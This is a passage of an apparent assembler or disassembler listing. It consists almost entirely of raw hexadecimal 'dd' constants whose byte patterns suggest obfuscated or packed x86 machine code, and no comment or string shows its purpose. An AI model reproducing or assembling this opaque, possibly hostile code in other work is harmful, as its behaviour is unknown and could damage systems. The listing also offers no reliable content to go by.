		dd 8AF9C49Bh, 61B956CBh, 58603ECAh, 8C35C181h, 81660F17h
		dd 0F8B44CE0h, 13E950h,	54EE0000h, 7B759478h, 0C95CA2C8h
		dd 686906B3h, 960D29CDh, 8B665ADBh, 0D98B66F8h,	13E9FCh
		dd 0AD8B0000h, 26D8F9EEh, 984CA1CCh, 0C7DD10ABh, 0C94F3B0Ah
		dd 810F607Ch, 0
		dd 0DE816660h, 616186EBh, 8B66FCF9h, 0B96660F0h, 61FC75DCh
		dd 0EE860h, 627A0000h, 18B7DC3Eh, 16F3AAFAh, 891E8A63h
		dd 66596160h, 0B8CAF081h, 3820F61h, 80000000h, 81667DD0h
		dd 0E8918DF6h, 8, 0C4A39163h, 0A1E90F03h, 28A0Fh, 5A500000h
		dd 0F3CF805Ah, 0AE8h, 1B6EBD00h, 0EF368256h, 60DEBC1Ch
		dd 0C2815953h, 1EC3D9C5h, 0D1B95961h, 0F4F76A0h, 82h, 0AEE38000h
		dd 14E9h, 53B45A00h, 2417C33Eh,	0B93D0081h, 0C3E248B4h
		dd 9D2FE3DBh, 0AE9A3h, 51BB0000h, 2C64BC22h, 843AB859h
		dd 0ACE28166h, 12E85Ch,	71530000h, 959EA0BEh, 0D1719CB9h
		dd 0CB16CBCAh, 0A6F98412h, 0F59D0B1h, 0BEFCF3BFh, 50EC40B1h
		dd 0C9B96650h, 8B605EE6h, 5CBA66FAh, 57606102h,	9E9h, 39FBAE00h
		dd 0E2D20359h, 0E95FF975h, 6, 77337646h, 0E961D231h, 13h
		dd 9A3DD322h, 48F0B132h, 135AAC4Eh, 9B96CD2Fh, 0F2411ACh
		dd 0E860C1BFh, 13h, 9B6D89F6h, 0C638F79Dh, 6CEED62Eh, 0A13AAF93h
		dd 66AC54B2h, 5AF1DEBEh, 0DF806061h, 0F88B66E2h, 0C681FC61h
		dd 1F8A05B8h, 64E78166h, 0D18B66ABh, 7A3DB866h,	19860Fh
		dd 840F0000h, 13h, 0EE9h, 25A9500h, 7C34D644h, 47D36C2Eh
		dd 0BFE5E222h, 6D62F23h, 38E0Fh, 0E4800000h, 12E92Ch, 69B10000h
		dd 0AA53E051h, 95BFA3D2h, 177D8FA0h, 2E6BED6Eh,	0FF90FB4h
		dd 83h,	23F68100h, 0F83AEA62h, 0DE9h, 1D7E5D00h, 0D9D1FE6Bh
		dd 8A46F25h, 8B6676DBh,	34E980DEh, 0D034E0BFh, 0BE6ABB01h
		dd 0BE95155h, 79000000h, 0FE2EBE37h, 0AEB917BEh, 0BAFC99F6h
		dd 2333244Ah, 880F5652h, 0
		dd 0E951585Ah, 5, 0E65B8723h, 3CB75AEAh, 5E9h, 0CB794200h
		dd 6652F1DFh, 5FD9E4B8h, 815957F8h, 962163F6h, 8E922h
		dd 0F3FA0000h, 2F574C66h, 820F0DA1h, 1,	0D6BF0FF9h, 800Fh
		dd 0D8B60000h, 16840Fh,	0EE80000h, 0C000000h, 4753AB89h
		dd 0F540B1A2h, 0A76D1D20h, 5A5A5189h, 0EE8166F5h, 0E9F525C0h
		dd 0Ch,	0FBD90F73h, 5E135B02h, 0FA82B24Fh, 12E8h, 88E14900h
		dd 0E6B1B0A1h, 25238E10h, 0D0636451h, 0B37DEA3Fh, 0E8605AD6h
		dd 0Fh,	0EC51BDF6h, 2BAFAAEEh, 0CB71D67Bh, 665372D7h, 5EE7CDBFh
		dd 0D18161F8h, 226BE35Fh, 94DBDE81h, 7E97EF7h, 8000000h
		dd 930F4D09h, 27BB49C0h, 667D7135h, 81FB21BAh, 93B3D5E8h
		dd 12E86025h, 90000000h, 2A5A6D0Eh, 4C92704h, 1A93C9FCh
		dd 65E03379h, 8B5EF899h, 0BBFC61F8h, 5961B5EFh,	0EFC6D281h
		dd 0D8801A5Ah, 0FDBA66D9h, 0D68B66EBh, 820F9EB3h, 2, 0FE9C28Bh
		dd 7000000h, 0E43F8A8Ah, 9705A73h, 56195DC5h, 0BF66B420h
		dd 0F60FD63h, 68Fh, 890F00h, 57000000h,	615E5A50h, 0E980D88Ah
		dd 0F7C381B6h, 0F964E727h, 1512DF81h, 830F7B23h, 1, 66C18AFCh
		dd 6D31EF81h, 6860Fh, 0F0810000h, 4ECA6579h, 0F7BF0F60h
		dd 5E961h, 575C0000h, 0F9539BFh, 28Ch, 81C88B00h, 0AF0A31C1h
		dd 0F870F40h, 0E9000000h, 0Ah, 8CA91BB7h, 0A15AAA0Bh, 0BF66A8D2h
		dd 0D18A7472h, 0E7C9E781h, 47B139C5h, 0BB39B4F5h, 7E06CD6Dh
		dd 0FF28B66h, 6660FFBFh, 0E281C38Bh, 22BD659Dh,	0DA816661h
		dd 8166E79Ah, 665332C8h, 664DCCB9h, 1965EF81h, 0C75CB966h
		dd 11E8h, 0E7B74100h, 0F4160A18h, 308F3DE6h, 2571688Dh
		dd 8C0F6BB7h, 0
		dd 820F605Ah, 2, 8A0FD18Bh, 2, 66616160h, 0DF8BD38Bh, 9827B866h
		dd 8B66F88Bh, 6E8D7h, 9D210000h, 56892135h, 3870Fh, 0C9800000h
		dd 0B70F5B2Eh, 8BE66F3h, 8D0F53E3h, 6, 5203D781h, 0E95851A4h
		dd 0Ah,	50844BDFh, 0EAB91BE7h, 8C0F0517h, 0
		dd 8B66BBB3h, 943ABBD3h, 81663AD8h, 66BED0C8h, 13E8FB8Bh
		dd 0D000000h, 0DCE5FA75h, 17F36104h, 4A8DAA94h,	3F67CBE1h
		dd 605678FBh, 0F585F61h, 40B6C6B7h, 8BD1C480h, 0FF98AF9h
		dd 58Eh, 8B665200h, 0B70F5FC1h,	0C68B66DBh, 2BC29B9h, 0C6BE663Ch
		dd 58BF662Fh, 0D38160EAh, 438E95A6h, 61FAB70Fh,	0FC9B70Fh
		dd 87h,	0B5D38100h, 662E7553h, 0E9D036BAh, 0Dh,	0ED11271Ch
		dd 0C35E3F64h, 7739C177h, 0C3BF0F67h, 81F58056h, 28D0F5Bh
		dd 8B000000h, 0C3BF0FF1h, 0E9FE8B66h, 0Ch, 0F0622C37h
		dd 0C7FF9D13h, 0FFA5479Ch, 9E9h, 0AE3C4D00h, 8AF5A263h
		dd 81662210h, 66FB4BC0h, 0FBE89B8h, 0BF0FC8B7h,	0D18057F3h
		dd 81665BABh, 0FA930D9h, 8166D2B7h, 0FD031D1h, 385h, 0FBBF0F00h
		dd 74DDB866h, 4B03BA66h, 10E852h, 63340000h, 0AFFF75E0h
		dd 6D4DA76h, 0B98AC34h,	830F0B16h, 0
aXs		db '[Xι',9,0
		db 2 dup(0), 0C5h
		dd 96E3B4AAh, 57DE0D61h, 0FBC98166h, 0A2DA81CDh, 0F1801BAh
		dd 68Eh, 70F78100h, 0F17A140h, 8BFCD6B7h, 0CF8B66DAh, 0E9604DB1h
		dd 8, 7AC42C41h, 0F918CCCFh, 8DE98051h,	5956615Fh, 6E9h
		dd 6A2D2100h, 66FADAF4h, 4A8AD081h, 0C181DA8Bh,	748D228Dh
		dd 0F136B966h, 0E45F32B8h, 0F18B6618h, 0EE8h, 64FC3100h
		dd 3BA0C16Ch, 0F5EF056Dh, 0F3C5BB5h, 0BA5EF7B7h, 66C06F55h
		dd 12E9h, 1B3000h, 0F64651D7h, 3C150AC1h, 70992D56h, 66C611BEh
		dd 107BC181h, 1830Fh, 0FFC0000h, 9E9DFB7h, 91000000h, 8624C61Eh
		dd 1A872C4Ah, 2820Fh, 0BCB40000h, 9D7DD381h, 0CC8A0075h
		dd 2AD68166h, 5010BF29h, 0D98B21CCh, 1E8CE281h,	81666390h
		dd 6000CCC2h, 8E0FE28Ah, 6, 2AA9E081h, 52613173h, 0C681665Bh
		dd 0E38AB1BFh, 0BE9F8h,	3AC10000h, 0B908C243h, 11F86549h
		dd 0C9816638h, 8166FDD1h, 817EB0E1h, 92BF59D0h,	0CE861h
		dd 0E12F0000h, 0C5DC3476h, 0E8DC6972h, 860F02F9h, 2, 0F55B7BB5h
		dd 0CE60BF66h, 6E960h, 0FC130000h, 0BC59B84Eh, 0CE9h, 3F91B00h
		dd 0E96AE032h, 0C25D8436h, 0BE606112h, 2E04D51Eh, 61DBB70Fh
		dd 8A0FFCh, 0F000000h, 68Eh, 86DE8100h,	0BF2E19C3h, 1EB6F77Bh
		dd 0E9DA8B66h, 13h, 0AB657A3Ah,	436DA10Fh, 0BFA7731Fh
		dd 0D3B03349h, 0FB7D08Bh, 1584h, 10E900h, 71A10000h, 2A2E923Ch
		dd 5F2F7590h, 69586BA7h, 0E281971Ah, 46B938E9h,	13870Fh
		dd 0EE90000h, 0FA000000h, 67892021h, 9615C4DDh,	0B658C2F3h
		dd 800FFCF4h, 2, 8160DE8Bh, 0C03E76EAh,	61B8B715h, 14E957h
		dd 0EE4C0000h, 4ED552CAh, 9771CAB7h, 0E95D563h,	0B1408D98h
		dd 6059B796h, 14E8F5h, 98500000h, 0DC4E382Fh, 24765127h
		dd 0F66F47F6h, 2F40ABA8h, 0BF0FED30h, 0F6158D3h, 282h
		dd 0F0AB400h, 0B3D2BFh,	0DE8h, 263C0500h, 65D40F38h, 0EE47BF45h
		dd 850FB193h, 0Eh, 9E9h, 9952C600h, 2E95F5CFh, 8158B16Bh
		dd 15FAC9CAh, 0A7C88063h, 8AC1BF0Fh, 66D88BDCh,	8D0FCF8Bh
		dd 6, 56E0E081h, 8B667902h, 27CE80FEh, 16B9D6B8h, 13BA6670h
		dd 73F2806Fh, 0EE0AD6BAh, 66F08B52h, 0B70FFB8Bh, 0DD8AF8D0h
		dd 60F98B66h, 0E928EA80h, 0Bh, 1CCC1331h, 36A1D62Bh, 61FA874Ch
		dd 0E9DBB70Fh, 13h, 0A57E35D8h,	0EB1E9CF0h, 0DB3812D7h
		dd 0E06846h, 800D5522h,	8166CBC4h, 0F5DDBE8h, 280h, 0FD18B00h
		dd 8B66C3B7h, 6FCF80CAh, 0CE9h,	0A41C3700h, 6760CE67h
		dd 5FA5E7BAh, 8F0F1Dh, 66000000h, 10EDD381h, 1EE28166h
		dd 58A0F5Fh, 60000000h,	61F9F18Bh, 66DA8B66h, 3183E781h
		dd 92DC55B9h, 8E0FF915h, 5, 17C78166h, 0E9ECB58Ah, 0Eh
		dd 4D06CFD4h, 6058BC56h, 82BF1A01h, 860F5645h, 3, 0FCB8B66h
		dd 58Ch, 69A2BE00h, 8B0F08D1h, 0Ch, 6880Fh, 8C0F0000h
		dd 0
		dd 59CE881h, 0BF0F2C3Bh, 0B611B9CAh, 0D8811E11h, 76860231h
		dd 5810Fh, 80600000h, 6661AEF2h, 660E8EBAh, 0F85E5BAh
		dd 48Bh, 0A3B96600h, 81C28B80h,	7AB0E3F0h, 0AE938h, 106C0000h
		dd 0F99904D4h, 0D647B7A1h, 66D7BF0Fh, 0F8C92BFh, 0D8Ch
		dd 8E900h, 0A0890000h, 8B99D673h, 0CE941D6h, 0C6000000h
		dd 297DC1D3h, 946FD55Dh, 0E9616122h, 0Fh, 3905BF13h, 0A61C1973h
		dd 0E8B0024Eh, 52DE908Dh, 0EE9h, 0E6A9E500h, 0C968F598h
		dd 0F2F51A17h, 5BC0BFE8h, 0D05DC781h, 8B660F7Dh, 60B660D6h
		dd 61D6B70Fh, 0EE9h, 4C049900h,	0D2E2F1EDh, 50777C2Bh
		dd 0E8EE4810h, 5, 0C1860D99h, 8C0FBAh, 5E000000h, 10E9h
		dd 87DFB100h, 6610CED7h, 7E98C993h, 2F0F9912h, 10E909h
		dd 7F4A0000h, 0C9F5DB5Dh, 0F1570E5Ah, 0D8A4FF44h, 8B662B6Bh
		dd 9840FF9h, 0F000000h,	38Eh, 0F9B70F00h, 12E9DCB4h, 9000000h
		dd 0BEBB3CE8h, 0CF2282CAh, 0E70E2A04h, 0D82BDEB9h, 6FB6F9D8h
		dd 81FCD7B7h, 0C5A860F1h, 0F80B257h, 0C881D0B7h, 25C296BFh
		dd 1AFFE781h, 8AF50417h, 8840FF5h, 52000000h, 810Fh, 535B0000h
		dd 59D38166h, 0B8665A6Bh, 0EE948F7h, 17000000h,	0F615A49Ah
		dd 43945E96h, 0D1239AB4h, 10E884h, 6AD20000h, 0B20417A3h
		dd 73EFF3B9h, 364F177h,	0D180126Fh, 880F5B53h, 1, 13E8F8h
		dd 9C0A0000h, 0DD20B538h, 0ABA71F97h, 4D91E5C1h, 0D5717827h
		dd 0EF681EBh, 5E1CC243h, 0EA575AB9h, 5840F2Ah, 66000000h
		dd 0CDAEF681h, 0EE9h, 0A747FE00h, 702F0003h, 85499974h
		dd 663CF4B4h, 0F581E281h, 0FE76BF66h, 0B274C681h, 666034A0h
		dd 0BE8C78Bh, 83000000h, 7A775676h, 9C0F70B0h, 0BF0F080Fh
		dd 66615FDBh, 0B6E06FBEh, 56DD80FBh, 0C88BF48Ah, 2DA1DF81h
		dd 28B061AFh, 0F8FCB80h, 8Fh, 8E900h, 0EB5F0000h, 10067846h
		dd 0B70F506Eh, 0C6B70FDAh, 6E9h, 9C58C800h, 813AD5E6h
		dd 0F8A8CCC7h, 0FA8BF96Eh, 0C678BA66h, 41BB66F9h, 0C4E1804Dh
		dd 6874BB66h, 0EE9h, 0AEBF9600h, 0E2844D1Ch, 8D3DAC67h
		dd 0E9CF5E93h, 13h, 2F135AACh, 0AC9B96CDh, 0D8CB2411h
		dd 0DDF60AF8h, 606D881Dh, 860F97B0h, 6,	810Fh, 66610000h
		dd 6E7D081h, 830F5260h,	0
		dd 0C38A605Bh, 61F78B66h, 0FB8B6661h, 0FE9h, 0EE524D00h
		dd 64BA9230h, 79A2FF52h, 8B4C7A6Bh, 1850Fh, 0FF90000h
		dd 11E9DFBFh, 1A000000h, 0E2FC07FCh, 0B5FFDB6Fh, 0B469DADDh
		dd 0AC9ACFB8h, 3850Fh, 0B70F0000h, 815750C2h, 0C5EF32E1h
		dd 525B5858h, 14890Fh, 0EE80000h, 0B1000000h, 3AD8ED5Dh
		dd 7A235A4h, 0A6911C32h, 575B58E9h, 61FB8B60h, 6E959h
		dd 0F7C00000h, 97392105h, 0FE9h, 9DA77100h, 898CE7ABh
		dd 77C18D2Bh, 0F8AA31FFh, 3890Fh, 8B660000h, 39A3BBF3h
		dd 9E956D9h, 0F4000000h, 3B2ADB5Ch, 5A1B72AFh, 95CB966h
		dd 17880Fh, 12E90000h, 0B2000000h, 0BBECAC68h, 0A361148Eh
		dd 0EB00DF54h, 0FDD21441h, 0F8BF0F0Eh, 8B16E980h, 5E9DAh
		dd 31C80000h, 6667A03Dh, 0DD7DD181h, 2A94F681h,	43BA0635h
		dd 522D33ADh, 68B0Fh, 0EA810000h, 6C36E85Ah, 0FE85Ah, 52D60000h
		dd 9EB0C849h, 765F78E5h, 0B407040Ah, 9E9CEh, 630000h, 24FFC44Fh
		dd 58F838E9h, 0B4CABF0Fh, 81C68B96h, 4F78B9C7h,	8C0FF91Ah
		dd 4, 9669BE66h, 80C2F280h, 8C0FABECh, 6, 0D5B7E781h, 38BA456Ah
		dd 6624F93Ah, 0E8DC60BFh, 0Fh, 0A934A9B3h, 0B6D0A4F7h
		dd 802F507Ch, 0FCE58EAh, 385h, 0FA8B6600h, 8B66535Ah, 840F5BF8h
		dd 11h,	0AE8h, 0EDF37700h, 76D44A1Eh, 0F943BFE1h, 0D681665Fh
		dd 0B3607909h, 61CB8A74h, 8166B8B3h, 8AF643DFh,	5E8F8h
		dd 0E2BC0000h, 0E9ACB3AFh, 5, 342DD352h, 0DE95F0Dh, 0CD000000h
		dd 9448E619h, 96231185h, 86F476A1h, 6830F51h, 81000000h
		dd 0F7D753E2h, 840F5A62h, 8, 2810Fh, 0D18B0000h, 0B966F1B7h
		dd 66F9F7A4h, 0F8DE01B9h, 38B0Fh, 8B660000h, 860F51FBh
		dd 5, 7CEE8166h, 0DEB65FF6h, 10E8h, 67E60E00h, 0CF96D910h
		dd 2BF9AA8h, 46250677h,	0F88B6602h, 1C860F5Ah, 0E8000000h
		dd 11h,	0F858E496h, 5B06058Ah, 8AD98C17h, 0FBE3C72Ch, 714AB91Ch
		dd 805E69AFh, 8C0F28E2h, 3, 0F958C780h,	188E0Fh, 13E90000h
		dd 1E000000h, 59E50A5h,	302644D2h, 35119F5Ah, 0D6D46A0Dh
		dd 0F78BFD84h, 9FA7BF66h, 0CBEB8166h, 0F57F94Ch, 8058CAB7h
		dd 0EB80CAD9h, 0E0BF66C2h, 9E9EAh, 0BC250000h, 12D16931h
		dd 80C3E662h, 0C38BC2D5h, 9810Fh, 820F0000h, 3,	8BC28B66h
		dd 830FCBh, 60000000h, 820FFC8Ah, 4, 0E0E3BE66h, 0FCD5B361h
		dd 0DE960h, 0E6DA0000h,	0C4FE940Bh, 2BE909FCh, 0E9E00EADh
		dd 0Ch,	37D8A028h, 394C7057h, 3C51AD54h, 6FBB6661h, 0FF92BEE3h
		dd 8E853F1h, 0D5000000h, 0FFEF2F45h, 81CDEE79h,	0EA8403CAh
		dd 8B665E40h, 81F560D9h, 0D69FCDD0h, 8A0F6128h,	1Ch, 168E0Fh
		dd 11E90000h, 4E000000h, 5D826738h, 76E6EFE0h, 0CFC1993h
		dd 9392ABC2h, 0E9D6B70Fh, 7, 0B9931663h, 608A2E32h, 0BFE4B866h
		dd 28A0Fh, 0C3B70000h, 0E4806061h, 82E7817Ch, 617D7D4Ch
		dd 0E9C2B70Fh, 12h, 0C4CC5B25h,	59B2641Ah, 78477916h, 0EA02B811h
		dd 60519B42h, 0FABE6160h, 616EB545h, 0EB816658h, 8B6601D1h
		dd 8E9D6h, 57720000h, 21B59BC5h, 0BB20409h, 8E956h, 0C030000h
		dd 6DC96EBBh, 0E85865DBh, 7, 0C9AA389Bh, 668D4A41h, 5EE408BAh
		dd 20860Fh, 0E9600000h,	13h, 430F7D37h,	7BC23C41h, 10F0BEFh
		dd 0E17498AFh, 0F9B774Dh, 84h, 5E86100h, 2000000h, 89118BD2h
		dd 5FF8BF0Fh, 8B6625B6h, 1A8E0FF7h, 0E8000000h,	11h, 8A3AFE92h
		dd 0F2FD2E4Fh, 74501B60h, 0A15D9DB9h, 68F780F3h, 0EF81F95Eh
		dd 3FE9438h, 13E9h, 0D584EE00h,	0BD181080h, 39CD7813h
		dd 67A3BA6Bh, 6BAB2107h, 0E92FC680h, 0Ah, 234BFCBEh, 7FF60C50h
		dd 8B6618A9h, 0BE9DEh, 61D30000h, 5C901BA0h, 5370A497h
		dd 582FBEBAh, 8E0F7A2Dh, 5, 0CFC68166h,	0BBBE663Ch, 48A0FC4h
		dd 66000000h, 0F9C8CABAh, 12E8h, 7019CF00h, 0AAF5C23Eh
		dd 70F6A704h, 64287B95h, 8BA445C8h, 0E0815BCAh,	55100482h
		dd 0E5B9F8B8h, 0EA80F840h, 0E820F9Dh, 0E9000000h, 9, 0AF8D8CBh
		dd 881DDDF6h, 0CB81666Dh, 12E9E301h, 9F000000h,	0AEC1328Ah
		dd 0D25BA30Eh, 0A6B58ECAh, 64CDE575h, 53D9801Fh, 8E8F8h
		dd 9B70000h, 2D9A06C2h,	0D88B3FD5h, 0BE95Ah, 0C1030000h
		dd 0AFC6F8Dh, 2129C9C2h, 0E3816635h, 6652DCADh,	5A4D13BBh
		dd 0BA6677B0h, 6650AEE8h, 5903F7BFh, 18C0Fh, 0E8F90000h
		dd 0Fh,	0CE7398C4h, 5556AD4h, 1731A2C7h, 66327812h, 34E6CA81h
		dd 0CE81665Ah, 0E5B03E7Ch, 8BF8B70Fh, 0AE9DAh, 48990000h
		dd 43643151h, 525B23C4h, 8E837B4h, 0DF000000h, 0D7A1299h
		dd 0E989E569h, 0Eh, 1959FF0Fh, 67785D0Ah, 0F7D77642h, 805B4792h
		dd 8B663DC4h, 19BA66D3h, 0AE87Fh, 3F780000h, 3057F702h
		dd 26D94025h, 6E95Ah, 5D210000h, 0D04A32DDh, 8BF6B70Fh
		dd 0B1F98BC8h, 3820F3Ch, 0F000000h, 0B70FC0B7h,	0DCE80D1h
		dd 9E9h, 2538AC00h, 119882D8h, 0BB661F58h, 8C0F406Eh, 1
		dd 0FE8B53F9h, 0F0BF0F5Eh, 870Fh, 81660000h, 0FCA1FED6h
		dd 0C2F38166h, 8E9F5B4h, 0F4000000h, 11BFBF2Dh,	66E28BD5h
		dd 66A1BDBAh, 5BB0E081h, 14E9h,	18D48400h, 34567571h, 7B9719FCh
		dd 6B11DDA2h, 6E2A6412h, 0DB81664Ah, 0BE8D56Ch,	69000000h
		dd 449E608h, 43999E7Ch,	0FE8BFAEBh, 10E858h, 7C50000h
		dd 78920EAFh, 0ECBE05B2h, 0D7D1544Dh, 0EEB86AE8h, 5938504Dh
		dd 57BAC181h, 66F90F90h, 0F0E69BEh, 8166CFBFh, 0FC1FDDDAh
		dd 0AFA2B866h, 1F24CDB9h, 0DA8B6664h, 8160D9B0h, 4C7D54DAh
		dd 0A8D6BF6Eh, 0E861699Ah, 0Eh,	86E03E1Eh, 0B304C6FEh
		dd 8EBADCD3h, 0BA665E25h, 815EE751h, 3635E1F6h,	0BF0F5149h
		dd 63BF5BD7h, 810B6FFDh, 10D6CAC7h, 0CE81667Eh,	0A2B69DB9h
		dd 5FE9B357h, 13E9h, 9D6E0700h,	0B0D6686Ch, 2C98B75Ch
		dd 0DDF5872Dh, 1E05529Ah, 0BF0FCB8Bh, 9E9F3h, 3B320000h
		dd 6BD222D7h, 0F38A3E5h, 284h, 0E9DC8A00h, 9, 88A170A2h
		dd 0A5BC99E1h, 8C0FF986h, 10h, 8E8h, 0B1BB1500h, 0D50D2E9Fh
		dd 5E5F529Fh, 0BA66CEB5h, 0BF0F308Ch, 6E9F6h, 0BF300000h
		dd 99CF0D58h, 7CA66BBEh, 8166606Dh, 8142A5E1h, 1EFC78CBh
		dd 7E96118h, 14000000h,	28764B5h, 0D18BFB6Fh, 88CF8166h
		dd 0CE993h, 32220000h, 34B5E429h, 198CD795h, 16BA86C7h
		dd 0E81ABB1Eh, 5, 0B87F7F1Ch, 0C08166F0h, 815F79F9h, 0CE3B6BE6h
		dd 0D38B662Eh, 0FFBBF0Fh, 0BE9F7B7h, 2C000000h,	0E68870F3h
		dd 0D2B3D5C9h, 9E9F932h, 0B9000000h, 949DA60Dh,	22F9C858h
		dd 0B2CE8B66h, 11840FCCh, 0E9000000h, 0Ch, 4A1EEDF3h, 0BFE176D4h
		dd 0A397B143h, 0DE8h, 0C429D200h, 1D4C94A1h, 0FB3214E1h
		dd 0DF815EADh, 7BE12C04h, 7EE1805Bh, 7E8h, 3604A00h, 0BBD3208Bh
		dd 462AF181h, 0E95F630Dh, 6, 34269065h,	8F0F9A0Ch, 5, 0C1DF8166h
		dd 0F1816605h, 0DE9C146h, 0D1000000h, 0DD7E1DE3h, 0C5293515h
		dd 33086C3Dh
		dd 0CE8h, 584EDC00h, 297CA5B2h,	7D92055Eh, 0C6BF0F3Ch
		dd 76DE815Ah, 664551DDh, 8E88F281h, 0FE8h, 61B60F00h, 99ECAA2Dh
		dd 0D5A8F051h, 37A2C50Ch, 0BE5FC28Bh, 29E9E259h, 0F8F5C88Bh
		dd 0B81AC680h, 668FD38Ah, 0BBF8DF8Bh, 6C6B82FAh, 92B45A53h
		dd 890FFB8Bh, 0
		dd 12F1D881h, 0F4B42390h, 9E9h,	22505900h, 7F929F85h, 0D68B89D5h
		dd 0DE8B66F5h, 12E9h, 0A9970700h, 7A6A53A0h, 0D01A9835h
		dd 0DC9A5FECh, 8B084BB3h, 0D38166CAh, 8F0F97CAh, 8, 2820Fh
		dd 5E560000h, 99A3EB81h, 0BF0F4A84h, 0DEB70FC0h, 3BDD8050h
		dd 0DBBF0F5Fh, 6E8h, 39826B00h,	5E0A64F2h, 3800Fh, 8B660000h
		dd 13E9C1h, 0F7B40000h,	8E6C7B49h, 47B4AE07h, 0C0E4BECDh
		dd 0A24E86B0h, 5E9B2h, 4CB70000h, 0E9A74CD6h, 0Ah, 0EC4E88E8h
		dd 0BC0D1FBDh, 0BF0F9AD9h, 6E9C6h, 0E0600000h, 0FC3F688h
		dd 0CA8B66F9h, 0DB80D78Bh, 0C9816678h, 5660206Dh, 0A0E6BF66h
		dd 0CAB35659h, 0EB80615Bh, 0D3816697h, 8B6057A2h, 2CDE81F3h
		dd 61746AC7h, 0DA43B860h, 0F6100AAh, 148Eh, 0FE900h, 73560000h
		dd 52867CCCh, 5D5C7659h, 0F4FE446Ah, 0D98B668Eh, 4AB86056h
		dd 8106240Fh, 3967C2E8h, 0E85A614Dh, 8,	6C210EFCh, 0AA25D20Ch
		dd 10E9h, 235D9700h, 0B61EC182h, 22966262h, 63D26A1Bh
		dd 0B75658A6h, 8E95A43h, 4C000000h, 3B14F8A2h, 0F7BCAE1h
		dd 8Fh,	3890F00h, 0F000000h, 850FD1BFh,	5, 0D1E68166h
		dd 12E889h, 9B630000h, 238AE67Bh, 35B99C41h, 0E5A2B325h
		dd 3AEE7C74h, 331ABE66h, 80E3B35Fh, 9E9F4C3h, 66000000h
		dd 57C7203Fh, 40701B40h, 13E8h,	83F2DE00h, 1CABB452h, 0FC8E73D8h
		dd 2307493Bh, 0AAA640ECh, 0C8F0Fh, 7E90000h, 9F000000h
		dd 4B727FF9h, 0B95E6889h, 6D95BC0Bh, 0EE9h, 0DCA04C00h
		dd 9130C3F1h, 73A4F8D2h, 60E1089Ah, 870F60h, 52000000h
		dd 8B0F615Fh, 12h, 0CE8h, 0D7ECD00h, 3CE71B25h,	9E8AE308h
		dd 0F61595Fh, 168Bh, 11E900h, 1AB10000h, 64826CCFh, 86CADAh
		dd 3610FE48h, 0E94E526Dh, 10h, 7C4AB636h, 2F93EC64h, 3764654Dh
		dd 13836943h, 66FB8B66h, 10E9C28Bh, 0A0000000h,	0BF7080F5h
		dd 793A498h, 72424B9Dh,	8B9ABA10h, 20BE66F2h, 5E89Fh, 0E8100000h
		dd 60DA75EDh, 58616160h, 14E8h,	0BC5CC700h, 0B7EA599Eh
		dd 2B15B3C6h, 0F7B93E09h, 0C8A42F34h, 0CE905h, 177E0000h
		dd 72591679h, 0B6D1C595h, 0F5E1E43h, 0F58AD8B7h, 78D88166h
		dd 0B70FF94Fh, 3800FCEh, 80000000h, 0BA6617E0h,	0BE667345h
		dd 0F18BA36Ah, 0DE9F8h,	0C0E00000h, 513411DCh, 89F59B05h
		dd 8154BAE2h, 0F80B55E7h, 0F2816029h, 3E1F4883h, 0C2D5B966h
		dd 0B70F6061h, 5E8F7h, 0F23E0000h, 0F7DE923h, 615ACFBFh
		dd 2830Fh, 38B30000h, 0AE9h, 60BCBE00h,	0A78ECC45h, 606E4890h
		dd 0CE953h, 21FF0000h, 2E0C2833h, 64E8813Ch, 8B5A2A88h
		dd 0AE861FEh, 0C0000000h, 2BD81EBh, 0D5602C7Dh,	0C28B6614h
		dd 8DC0815Ah, 0BB434D91h, 64F8B963h, 0FC28B66h,	81h, 880F6000h
		dd 2, 34B368B0h, 0DA8B6661h, 15810Fh, 10E90000h, 48000000h
		dd 30EB0133h, 0EF95BCE9h, 0E27FE905h, 66D36B60h, 0BF0FDF8Bh
		dd 981EBBFEh, 0CB8B7838h, 8E8h,	65698D00h, 52FFC2D8h, 840F53B8h
		dd 0
		dd 5E95A5Bh, 0CD000000h, 0F6A0E641h, 0DE9h, 9A73A400h
		dd 0C219E108h, 57295776h, 0FE8F962h, 0FD000000h, 0EB33186h
		dd 391589CEh, 87C41763h, 665B71A2h, 0BF0FC28Bh,	12E9F1h
		dd 0DD340000h, 4B1EFCC3h, 0B2234DD5h, 32717F0Eh, 34DAD6h
		dd 0C7A3D981h, 0EE815ECDh, 6D85D05Fh, 9E8h, 510DD200h
		dd 39CE7E1Ch, 8B0F1BB6h, 5, 7C1039B9h, 0BB665E28h, 13E81852h
		dd 8A000000h, 3D509AABh, 319BC149h, 0B224728Eh,	4D2ABD19h
		dd 0F28B5A32h, 840F5658h, 6, 0D3A1C981h, 0BA5F12E7h, 7088312Bh
		dd 8AC0B70Fh, 9DBB66C2h, 9830FDBh, 0F000000h, 38Fh, 1BE68000h
		dd 820FF98Bh, 16h, 11E9h, 6C53800h, 67B48E1Bh, 0B4F9129Eh
		dd 410F4B08h, 8B66ADD0h, 0E9B660C8h, 0E1816650h, 615F24F8h
		dd 3800Fh, 0E7800000h, 3DC38114h, 0F8649A56h, 55C28166h
		dd 0DB8166DCh, 81663D78h, 0F3950EEh, 284h, 80F38A00h, 81FC1EF0h
		dd 6039C2CBh, 6E85Fh, 0DBD50000h, 21D88ACDh, 0DE8h, 0B55F0D00h
		dd 79032EBDh, 0F03970AAh, 0FD8AFA40h, 6060585Fh, 0C1BEFA8Bh
		dd 610D4864h, 93F7BB66h, 0FD48A61h, 0C88h, 68E0F00h, 0F000000h
		dd 85h,	3800F00h, 0F000000h, 8160C7BFh,	32CD4C3h, 0EAC6BB3Bh
		dd 0B76144CEh, 5880F11h, 56000000h, 5B2BC980h, 66C8B70Fh
		dd 0F280C88Bh, 94F0817Dh, 80213A3Dh, 8A0FD7CAh,	3, 0FF7B70Fh
		dd 189h, 0E081FC00h, 0A9521A0h,	8CD68152h, 59355108h, 9E881F9h
		dd 0F7FE102h, 8Fh, 235B900h, 0E9FC63C7h, 6, 92E761B0h
		dd 0B70F7D17h, 0C98166F8h, 9E90E6Eh, 47000000h,	0C9373A1Dh
		dd 6BE22074h, 14E9h, 0E896C800h, 6BD9DF23h, 847BE11Ah
		dd 727A2980h, 0B9329278h, 53C88173h, 0F50B53FFh, 0C5C98166h
		dd 0C28B66BEh, 5E8h, 8F7FEC00h,	0F08B4162h, 8166515Fh
		dd 5AC3BECFh, 0E5BA6660h, 0AE95Fh, 46900000h, 66D65607h
		dd 41217D89h, 0E880F961h, 0F78166F0h, 0FFC578Bh, 289h
		dd 669FB700h, 8B10C5BEh, 0FE9D3h, 31230000h, 9498CF06h
